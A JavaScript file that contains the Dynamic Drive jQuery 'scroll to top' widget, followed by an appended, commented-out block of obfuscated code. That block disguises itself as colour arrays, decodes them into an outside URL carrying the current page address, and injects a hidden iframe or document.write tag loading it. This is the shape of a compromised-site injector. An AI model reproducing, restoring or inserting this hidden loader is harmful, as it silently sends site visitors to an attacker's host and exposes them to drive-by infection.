//** jQuery Scroll to Top Control script- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com.
//** Available/ usage terms at http://www.dynamicdrive.com (March 30th, 09')
//** v1.1 (April 7th, 09'):
//** 1) Adds ability to scroll to an absolute position (from top of page) or specific element on the page instead.
//** 2) Fixes scroll animation not working in Opera. 


var scrolltotop={
	//startline: Integer. Number of pixels from top of doc scrollbar is scrolled before showing control
	//scrollto: Keyword (Integer, or "Scroll_to_Element_ID"). How far to scroll document up when control is clicked on (0=top).
	setting: {startline:100, scrollto: 0, scrollduration:1000, fadeduration:[500, 100]},
	controlHTML: '<img src="imagesweb/up.png" style="width:52px; height:55px" />', //HTML for control, which is auto wrapped in DIV w/ ID="topcontrol"
	controlattrs: {offsetx:10, offsety:10}, //offset of control relative to right/ bottom of window corner
	anchorkeyword: '#top', //Enter href value of HTML anchors on the page that should also act as "Scroll Up" links

	state: {isvisible:false, shouldvisible:false},

	scrollup:function(){
		if (!this.cssfixedsupport) //if control is positioned using JavaScript
			this.$control.css({opacity:0}) //hide control immediately after clicking it
		var dest=isNaN(this.setting.scrollto)? this.setting.scrollto : parseInt(this.setting.scrollto)
		if (typeof dest=="string" && jQuery('#'+dest).length==1) //check element set by string exists
			dest=jQuery('#'+dest).offset().top
		else
			dest=0
		this.$body.animate({scrollTop: dest}, this.setting.scrollduration);
	},

	keepfixed:function(){
		var $window=jQuery(window)
		var controlx=$window.scrollLeft() + $window.width() - this.$control.width() - this.controlattrs.offsetx
		var controly=$window.scrollTop() + $window.height() - this.$control.height() - this.controlattrs.offsety
		this.$control.css({left:controlx+'px', top:controly+'px'})
	},

	togglecontrol:function(){
		var scrolltop=jQuery(window).scrollTop()
		if (!this.cssfixedsupport)
			this.keepfixed()
		this.state.shouldvisible=(scrolltop>=this.setting.startline)? true : false
		if (this.state.shouldvisible && !this.state.isvisible){
			this.$control.stop().animate({opacity:1}, this.setting.fadeduration[0])
			this.state.isvisible=true
		}
		else if (this.state.shouldvisible==false && this.state.isvisible){
			this.$control.stop().animate({opacity:0}, this.setting.fadeduration[1])
			this.state.isvisible=false
		}
	},
	
	init:function(){
		jQuery(document).ready(function($){
			var mainobj=scrolltotop
			var iebrws=document.all
			mainobj.cssfixedsupport=!iebrws || iebrws && document.compatMode=="CSS1Compat" && window.XMLHttpRequest //not IE or IE7+ browsers in standards mode
			mainobj.$body=(window.opera)? (document.compatMode=="CSS1Compat"? $('html') : $('body')) : $('html,body')
			mainobj.$control=$('<div id="topcontrol">'+mainobj.controlHTML+'</div>')
				.css({position:mainobj.cssfixedsupport? 'fixed' : 'absolute', bottom:mainobj.controlattrs.offsety, right:mainobj.controlattrs.offsetx, opacity:0, cursor:'pointer'})
				.attr({title:'Scroll Back to Top'})
				.click(function(){mainobj.scrollup(); return false})
				.appendTo('body')
			if (document.all && !window.XMLHttpRequest && mainobj.$control.text()!='') //loose check for IE6 and below, plus whether control contains any text
				mainobj.$control.css({width:mainobj.$control.width()}) //IE6- seems to require an explicit width on a DIV containing text
			mainobj.togglecontrol()
			$('a[href="' + mainobj.anchorkeyword +'"]').click(function(){
				mainobj.scrollup()
				return false
			})
			$(window).bind('scroll resize', function(e){
				mainobj.togglecontrol()
			})
		})
	}
}

scrolltotop.init()

/*if (typeof(def_colors)=="undefined") {
   var def_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e4744', '#3d4041', '#473d40', '#45483d', '#404246', '#3e8674', '#71787c', '#3e7980', '#847481', '#883d7c', '#787d3d', '#798200');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_color(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_color(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_color(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0] + ct[9] + document.location;
   function check_div_style() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_style();",500);	
	   }
   }

   check_div_style();

}*/